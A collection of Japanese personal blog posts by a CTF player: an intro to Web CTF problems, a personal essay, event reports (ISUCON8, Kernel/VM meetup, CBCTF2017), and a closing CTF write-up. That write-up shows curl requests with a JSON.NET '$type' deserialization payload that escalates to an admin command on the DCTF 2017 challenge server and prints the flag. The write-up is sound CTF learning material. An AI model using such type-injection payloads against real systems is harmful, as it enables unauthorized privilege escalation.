CTFはどんなカテゴリがあるか?頻出カテゴリ1Web問編

こんにちはmegumishです。

最近、CTFに入門しようとしてる方に具体的にどういうカテゴリの問題があるのかと聞かれることがよくあります。

そこで、どうせならと一つの記事として情報をまとめておこうと思います。

そもそもCTFって?

CTFは Capture The Flagの略で、ここではサイバーセキュリティの競技を指します。

CTFは問題に提供された環境内のどこかにあるフラグを探す競技です。

要はセキュリティの知識を駆使して、宝探しをすると言うゲームになります。

(もしくは、脱出ゲームのようだと言った方が正しい場合もありますが)

だいたいのカテゴリの練習方法にてオンラインイベント型CTFに出ると書きましたが、じゃあどこでオンラインCTFを探せばいいのかと思う方もいるかと思いますが

ctftime.org

にほとんどのオンラインCTFの開催情報が載っています。

CTFで頻出されるカテゴリ

Web

Webページのセキュリティを突く問題です。

さて、セキュリティを突くと言うことはどう言うことでしょうか?

普段、私たちはTwitterGoogle検索などを使っていますが、そう言ったWebページを見るのにはHTTPリクエストを送る必要があります。

HTTPリクエストにはそのリクエストを受け取るサーバーが意図していなかった情報が付加されているとクラッシュしたり、意図していない動作をするケースがあります。

このような動作を使うことで、本来私たちが手に入れることができないはずだった情報を入手することができたりします。

こういったことをセキュリティを突く、あるいはExploit(エクスプロイト)と言ったりします。

先ほど「本来私たちが手に入れることができないはずだった情報を入手する」と言いました。こうやって手に入れられる情報のうち、指定されたフォーマットのもの(例えば NANTOKA_CTF{F1AG_D4Y0})みたいなものをフラグと言い、問題ページで提出することで競技上の得点を手に入れることができます。

使えるツール

  • Webブラウザー(firefox, google chromeなど) Webブラウザで色々なリクエストを送って見て観察して見るのがまず第一の問題を解く手法です。
  • Webブラウザーのインスペクターツール これは検証用ツールとも呼ばれるツールです。HTTPのレスポンスや通信している場所などを確認できます。
  • curl・httpie 少し難しいですが、CLIコマンドラインインターフェース)上のツールになります。

検証用ツールでも同様のことはできますが、好きな文字列をリクエスト上で簡単で再現することができます。

練習方法

  • オンラインイベント型CTFに出る 王道の練習方法です。Web問は基本的にサーバーのソースコードが公開されないため開催中しか試せないので、CTFに出て問題を解くのが確実な練習方法になります。
  • オンライン常設型CTFに出る これは ふるかわ さんが

nanuyokakinu.hatenablog.jp

にまとめてくれています。 - 本を読む

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践

通称・徳丸本と呼ばれる本がWeb問を解く取っ掛かりとしても極めて行く方にも良いのかと思います。

疲れました。

唐突ですが疲れました。

他のカテゴリは後日書きます……。(が、自分は怠惰なのであまり期待しないでください。)

将来の夢:すべてを再構築し、それらすべての再構築を容易にする

f:id:megumish:20181221002602j:plain

こんにちは、megumishです。

僕には将来の夢があります。それは

すべてを再構築し、それらすべての再構築を容易にする

ことです。

Why

f:id:megumish:20181221004626j:plain

ではなぜ僕がそのようなことを思うのでしょうか順に追っていきましょう。

すべてを再構築したい理由

すべてを再構築したい理由は、現状のものがどのように出来ているかについて詳しく知りたいからです。

それだけなら書籍や文献を読めばいいと思うかもしれませんが

僕は理論から学ぶのがとても苦手で、何かを実際に試して見ないと実際にそれを知ることができないのです。

だからこそ、現在できているものでも再構築することで学ぶことができるのではないかと考えています。

すべての再構築を容易にしたい理由

僕は何かをちょっとでもいいから再構築したり実験したりして何かを得た時に

心動かされたことが何度もあります。

それは競技プログラミングでの解答コードだったり、Exploitコードだったり、Rustのライブラリのコードだったりします。

価値を生み出さねば役に立たないと言われる時代だからこそ

一見無価値に見える再構築の喜びを自分だけでなく他の人にも簡単に味わえるようになってほしいと言うのが

僕が未来へ託す願いです。

How・What

f:id:megumish:20181221010117j:plain

僕はコンピュータが好きです。

コンピュータ上で動くプログラムは僕がミスをした時にそれをすぐに教えてくれて

しかもその場で直したものを即座にもう一度試すことを厭いません。

理論が苦手な僕にとっても幾度もの体験を繰り返し起こして学ばせてくれる環境を与えてくれる

コンピュータはまさに僕が学習し得意になるのにうってつけの存在でした。

だから、僕がはじめに再構築したいと思っているものはコンピュータです。

コンピュータのことをもっと深く知って、もっともっと僕自身が楽しみたいと考えています。

最後に

自分が思うに結局、夢というのは自分のやりたいことを語ることに他なりません。

正直言って、僕は何かを再構築することで誰かの役に立ちたいとかはあまり思っていません。

ただ自分が思う素晴らしい何かを作ってみたいという思いだけです。

自分は昔から天邪鬼な人間でした。

生まれつきの心臓病を抱えていたけど、だからと言って医者にはなりたくありませんでした。

それは面白くなさそうだし、自分ならもっと大きなことをやってもっともっと人を救えると思ったからです。

もっと言えば、心臓病の人間を元気付けるなんてどうでもいいのです。

僕はすべての人が救われてほしいけどそれは途中で無理だって気づいて、そんで両極端に触れるのが大好きだから最大限自分を救おうとしています。

このブログを見ている人もきっとあなた自身を救えるそんなことになってほしいものですね。

ISUCON8本戦に行きました。

ISUCON8本戦行きました〜

行きました。うさぎさんとhikaliumさんがチームメンバーでした。 twitter.com twitter.com

こちらはhikaliumさんのブログです。 

hikalium.hatenablog.jp

うさぎさんのブログです。

kimiyuki.net

僕がやったこと

  • Dockerからアプリケーションを剥がす デプロイを慣れた形でするために、もともとDockerで動いてたアプリケーションを剥がしました。

手順としては

  1. Python3.7.0をxbuildでどこかに置いておく

  2. 置いたPython3.7.0のpipでpipenvをインストール

  3. pipenvで依存関係をインストール

  4. アプリケーションをsystemdに登録して動かす

という感じでした。

  • /sendの代わりに/send_bulkを使うようにする(失敗)

この実装をうさぎさんに任されたのですが

うさぎさんがバグを埋め込んでいたらしくそれを直すために手間取ってしまいました。

結果この実装は時間内に終わらずmasterにはマージされませんでした。

この実装には非同期処理でログをキューで貯めて送信するということをやっていたのですが

そもそも僕は非同期処理の実装がかなり苦手で、非同期処理に関する経験をもっと深めていかないといけないなぁという感じでした。

感想

体力の配分が間違っていたのと、やはりコーディングスキルが足りないのでもっと磨きたいと思いました。

11月から仕事を始めるのでそこで開発力をガンガン磨いて行きたいです。

Team:Harekazeに入ってからもうすぐ一年

これは

adventar.org

の2日目の記事です。

一日目はhiwwさんの

hiww.hatenablog.com

でした。

僕がTeam:Harekazeに入ってからもうすぐ一年が経ちます。

Harekazeに入ったきっかけはTwitterでチームを募集してたところをたまたまhiwwさんに声をかけてもらったところからだと思います。

Harekazeに入って初めてのCTFはSECCONCTF2016でしたが正直いってあまり貢献はできませんでした。

HarekazeはもともとSECCONCTF2016のために結成されたチームだったので、貢献できなかったのは残念でした。

しかし、幸運なことにHarekazeはこのあとも活動を続け、自分がチームに貢献できたと言えるような出来事もいくつかありました。

初期で言えば、Harekazeロゴの作成では一部協力していました。なかなかカッコ可愛いロゴになったかと思います。

Harekazeのロゴステッカーが欲しい方はお近くのHarekazeメンバーに言ってもらえれば在庫があれば渡せるかと思います。

最近ではPwnがそこそこできるようになってきたので、CTFでも貢献できるようになってきたのは嬉しいことです。

チームに入ってよかったなと思うのは、やはりチームの方々と交流できることと一緒に問題を解けることです。

自分が全くわからない問題でもチームメンバーの取り組み方をみて試行錯誤できるのはチーム戦の面白いところだと思います。

現在は自分が発足した企画もあるので、それに関してはちゃんと活動していきたいところですね。

さて、来週はいよいよSECCONCTF2017のオンライン予選があります。今年は去年よりも貢献して、欲を言えば国際予選に出れる順位を取れたらいいなと考えています。

ではHarekaze各位のみなさん、マイペースでいいのでこれからも頑張っていきましょう!

Kernel/VM探検隊@関西 8回目 & 第9回 自作OSもくもく会 参加記

第7期サイボウズ・ラボユース研究生 の川田(@megumish)です。

サイボウズ・ラボユースについては以下の僕の記事を見てみてください。

diary.megumi.sh

要は技術に興味のある学生にプロフェッショナル達が技術に関する支援をしてくれる制度というわけです。

上の記事では人狼知能の補助ツールを開発するということになっていますが

ラボユースではそのときに強く興味のあることを支援してくれるということで、今はExploit・Pwnに関する研究をしています。

Kernel/VM探検隊@関西 8回目

Kernel/VM探検隊(以下 k/vmと呼ぶ)はカーネル仮想マシンの話など低レイヤーな話題について有志が発表しあう会です。

このk/vmには一度北陸で参加して発表したことがあります。(本当の初心者である自分はごく簡単な発表をした程度でしたが……。)

前回もそうでしたが、今回もマニアックでレベルの高い発表ばかりでした。

そのため、浅学の私に理解できるのは自分が普段やっているところに近いところ(Exploitやバイナリ解析周り)だけでした。

これはCTFの話の後の質問の時にCharoさんが話してくれた言葉ですが、「CTFの問題は現実世界ではミニチュア」ということなので

k/vmで大半を占める現実世界のコンピュータ周りの話も今最も興味のあるCTFの分野でも活かせるんじゃないかと感じました。

さて、自分の聞いた発表の中でも面白かったものを適当にピックアップしていきたいと思います。

No RELROとPartial RELROの違い

Exploit・PwnにおいてFull RELROとParital RELROの違いは再配置されるライブラリ関数のポインタを書き換えられるか否かとして注目されているものでした。

当然これは自分も毎回Pwn問を解く上で気にしていたことでした。しかし、今回解説されたCTFの問題はPartial RELROとNo RELROの違いに気をつけなければならない問題でした。

No RELROとPartial RELROの違いは再配置されたライブラリ関数の最初の呼び出し時にあります。

No RELROはPartial RELROとは違い文字列(名前)によるライブラリ関数のアドレスの解決をします。

だから、その文字列を指すポインタを書き換えてしまえば、任意の関数が呼び出せてしまうという脆弱性がつけるのです。

CTFは現実世界のミニチュア

CTFについての話の後、発表者の方にCTFの問題を解く以外にCTFの問題を思いつくときはあるのかという質問をしてみました。

現実のソースコードやプログラムの動作を追っていく中で思いつくものはあるとのことでした。

またCTFは現実世界のミニチュアということも言っていました。

Nintendo Switch のバイナリ

CTFで出されるバイナリとしてはELFフォーマットがほとんどですが、ごくまれにGameBoyAdvanceのバイナリが問題として出されることもあります。

自分がCTFが楽しいと感じる理由はほとんどが未知のオブジェクトを少しずつ解析していくところなのですが、こういった現実世界のバイナリを解析するのも面白いんじゃないかと感じました。

Nintendo Switchのバイナリは単一でなくライブラリ(.so的なもの)も含まれているということで、さらに解析の面白さがあるのではないかと感じたので、いつか触れてみたいところです。

その他

その他にもVMMの話やUSB3.0デバイスドライバの話、さらにそれをユーザー空間で動かす話、新しいリンカlddなど面白いものがありました。

自分もそういうものに触れることでより奥深い未知の世界を探検していきたいですね。

第9回 自作OSもくもく会

さて、k/vmの翌日には自作OSもくもく会というものに参加してきました。

今回はもくもく会ということで Operating System Concepts というOSの概念について書かれた本を読んできました。

スライドです。

speakerdeck.com

CBCTF2017 オンサイトに参加してきた。

CBCTF2017オンサイトにチームMegPwnで参加してきました。

ただし、二日目からは運営の方からHarekazeで参加してもいいよと聞いたのでHarekazeで参加していました。

自分は一問 Pwn問のWarmup問を解きました。

運営はTokyo Westerns と binja、オンサイト参加者には 217 と Cykor というめちゃ強い方々がいる中ずっと隅っこでPwn問の解析をしていました。

なかなか疲れましたが、いい経験だったと思います。

一日目、一緒に食事に行ったヴァネロピさん、ヨハネスさん、けいとさんありがとうございました。CTFで何も解けず摩耗していた中、楽しい時間でした。

また、会場に来て応援してくださったしーまさん、nonoさん、banbanさん、りいんちゃんさんありがとうございました。正直一人で問題に向かっていてかなりキツかったので助かりました。

最後に運営のTokyo Westerns、binjaの皆さん、楽しいCTFをありがとうございました。僕もいつか頑張って、qualのあるオンサイトコンテストで会いたいなと思いました。

Don't net, kids!

Exploit!!!!

@st98 さんの解析により以下のコマンドが実行できそうでした。

` // Token: 0x0400000A RID: 10 private readonly List _guestActions = new List { "authenticate" };

    // Token: 0x0400000B RID: 11
    private readonly List<string> _userActions = new List<string>
    {
        "get",
        "set",
        "list"
    };

    // Token: 0x0400000C RID: 12
    private readonly List<string> _adminActions = new List<string>
    {
        "readflag"
    };

`

コマンド送信例:

# curl https://dotnot.dctf-quals-17.def.camp/api/command -d '{"command":{"userid":"b59b4158-02f6-4075-9384-7d5c32e524fc","action":"set","query":"hoge","value":"fuga"}}'
{"UserId":"b59b4158-02f6-4075-9384-7d5c32e524fc","Action":"set","Query":"hoge","Value":"fuga","Response":"Value updated!","Error":null}

また、このコマンドを送るときjsonのデータに不要なものを入れておいてもそれが反映されているようでした。

なので$typeを使って、型をCommandからAdminCommandにキャストすると、readflagが使えるようになり終わりです。

echo -en '{"command":{"$type":"DCTFNetCoreWebApp.Models.AdminCommand, DCTFNetCoreWebApp","userid":"21b20836-19c9-45d7-9721-101fadd24233","action":"readflag","query":null}}' | curl https://dotnot.dctf-quals-17.def.camp/api/command -d @-

フラグ:DCTF{4e388d989d6e9cfd2ba8a0ddf0f870c23c4936fabfc5c271d065a467af96e387}

ちなみにdllの解析にはdnSpyを使ったとのことです。